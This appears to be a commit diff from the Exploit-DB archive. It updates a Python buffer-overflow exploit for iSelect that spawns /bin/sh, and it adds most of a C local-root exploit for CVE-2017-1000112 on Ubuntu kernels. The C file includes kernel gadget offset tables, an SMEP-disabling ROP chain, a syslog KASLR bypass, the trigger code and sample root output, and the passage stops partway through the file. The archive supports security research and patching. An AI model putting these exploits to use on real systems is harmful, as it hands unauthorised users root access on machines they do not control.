DB: 2018-01-03
3 changes to exploits/shellcodes Acoustica Audio Converter Pro 1.1 (build 25) - Local Heap Overflow (.mp3 / .wav / .ogg / .wma) (PoC) Acoustica Audio Converter Pro 1.1 (build 25) - '.mp3 / .wav / .ogg / .wma' Local Heap Overflow (PoC) Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) AWStats 5.7 < 6.2 - Multiple Remote s (PoC) AWStats 5.7 < 6.2 - Multiple Remote (PoC) Auto Dealer - SQL Injection (PoC) Auto Dealer - SQL Injection Windows - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode Windows (2000/XP/7 x64/x86) - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode
This commit is contained in:
Offensive Security
parent
f6c5c427c3
commit
c03d2a3ba2
5 changed files with 682 additions and 16 deletions
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@ -1,6 +1,5 @@
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# Exploit developed using Exploit Pack v7.01
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# Exploit Author: Juan Sacco - http://www.exploitpack.com -
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jsacco@exploitpack.com
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# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
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# Program affected: iSelect
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# Affected value: -k, --key=KEY
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# Version: 1.4.0-2+b1
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@ -15,14 +14,10 @@ jsacco@exploitpack.com
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# Website: http://www.ossp.org/pkg/tool/iselect/
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# Where in the code:
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#7 0xb7eaa69f in __strcpy_chk (dest=0xbfffeccc
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"1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199
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times>..., destlen=1024) at strcpy_chk.c:30
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#7 0xb7eaa69f in __strcpy_chk (dest=0xbfffeccc "1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199 times>..., destlen=1024) at strcpy_chk.c:30
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#8 0x0804bfaa in ?? ()
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#9 0x0804914d in ?? ()
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#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2,
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argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0
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<_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291
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#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2, argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0 <_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291
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# Exploit code: Proof of Concept ( Without Fortify )
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@ -31,14 +26,12 @@ import os, subprocess
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def run():
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try:
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print "# iSelect - Local Buffer Overflow by Juan Sacco"
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print "# This Exploit has been developed using Exploit Pack -
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http://exploitpack.com"
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print "# This Exploit has been developed using Exploit Pack - http://exploitpack.com"
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# NOPSLED + SHELLCODE + EIP
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buffersize = 1024
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nopsled = "\x90"*30
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shellcode =
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"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
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shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
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eip = "\x08\xec\xff\xbf"
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buffer = nopsled * (buffersize-len(shellcode)) + eip
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subprocess.call(["iselect -k=",'', buffer])
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670
exploits/linux/local/43418.c
Normal file
670
exploits/linux/local/43418.c
Normal file
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@ -0,0 +1,670 @@
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// A proof-of-concept local root exploit for CVE-2017-1000112.
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// Includes KASLR and SMEP bypasses. No SMAP bypass.
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// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
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//
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// Usage:
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// user@ubuntu:~$ uname -a
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// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
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// user@ubuntu:~$ whoami
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// user
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// user@ubuntu:~$ id
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// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
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// user@ubuntu:~$ gcc pwn.c -o pwn
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// user@ubuntu:~$ ./pwn
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// [.] starting
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// [.] checking distro and kernel versions
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// [.] kernel version '4.8.0-58-generic' detected
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// [~] done, versions looks good
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// [.] checking SMEP and SMAP
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// [~] done, looks good
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// [.] setting up namespace sandbox
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// [~] done, namespace sandbox set up
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// [.] KASLR bypass enabled, getting kernel addr
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// [~] done, kernel text: ffffffffae400000
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// [.] commit_creds: ffffffffae4a5d20
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// [.] prepare_kernel_cred: ffffffffae4a6110
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// [.] SMEP bypass enabled, mmapping fake stack
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// [~] done, fake stack mmapped
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// [.] executing payload ffffffffae40008d
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// [~] done, should be root now
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// [.] checking if we got root
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// [+] got r00t ^_^
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// root@ubuntu:/home/user# whoami
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// root
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// root@ubuntu:/home/user# id
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// uid=0(root) gid=0(root) groups=0(root)
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// root@ubuntu:/home/user# cat /etc/shadow
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// root:!:17246:0:99999:7:::
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// daemon:*:17212:0:99999:7:::
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// bin:*:17212:0:99999:7:::
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// sys:*:17212:0:99999:7:::
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// ...
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//
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// EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1
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//
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// Andrey Konovalov <andreyknvl@gmail.com>
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#define _GNU_SOURCE
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#include <assert.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <sched.h>
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#include <stdarg.h>
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#include <stdbool.h>
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#include <stdint.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <linux/socket.h>
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#include <netinet/ip.h>
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#include <sys/klog.h>
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#include <sys/mman.h>
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#include <sys/utsname.h>
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#define ENABLE_KASLR_BYPASS 1
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#define ENABLE_SMEP_BYPASS 1
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// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
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unsigned long KERNEL_BASE = 0xffffffff81000000ul;
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// Will be overwritten by detect_versions().
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int kernel = -1;
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struct kernel_info {
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const char* distro;
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const char* version;
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uint64_t commit_creds;
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uint64_t prepare_kernel_cred;
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uint64_t xchg_eax_esp_ret;
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uint64_t pop_rdi_ret;
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uint64_t mov_dword_ptr_rdi_eax_ret;
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uint64_t mov_rax_cr4_ret;
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uint64_t neg_rax_ret;
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uint64_t pop_rcx_ret;
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uint64_t or_rax_rcx_ret;
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uint64_t xchg_eax_edi_ret;
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uint64_t mov_cr4_rdi_ret;
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uint64_t jmp_rcx;
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};
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struct kernel_info kernels[] = {
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{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
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{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
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{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
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{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
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{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
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{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
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{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
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{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
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{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
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{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
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{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
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{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
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{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
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};
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// Used to get root privileges.
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#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
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#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
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// Used when ENABLE_SMEP_BYPASS is used.
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// - xchg eax, esp ; ret
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// - pop rdi ; ret
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// - mov dword ptr [rdi], eax ; ret
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// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
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// - neg rax ; ret
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// - pop rcx ; ret
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// - or rax, rcx ; ret
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// - xchg eax, edi ; ret
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// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
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// - jmp rcx
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#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
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#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
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#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
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#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
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#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
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#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
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#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
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#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
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#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
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#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
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// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
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typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
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typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
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|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
perror("[-] mmap()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
void mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
char* syslog;
|
||||
int size;
|
||||
mmap_syslog(&syslog, &size);
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
|
||||
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
|
||||
return get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
|
||||
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
|
||||
return get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
perror("[-] connect()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
perror("[-] send()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
perror("[-] setsockopt(SO_NO_CHECK)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
perror("[-] open/read(/etc/lsb-release)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
assert(i < max_length);
|
||||
assert((found - &buffer[0]) + needle_length + i < length);
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
perror("[-] uname())");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(&version[0], kernels[i].version) == 0) {
|
||||
printf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
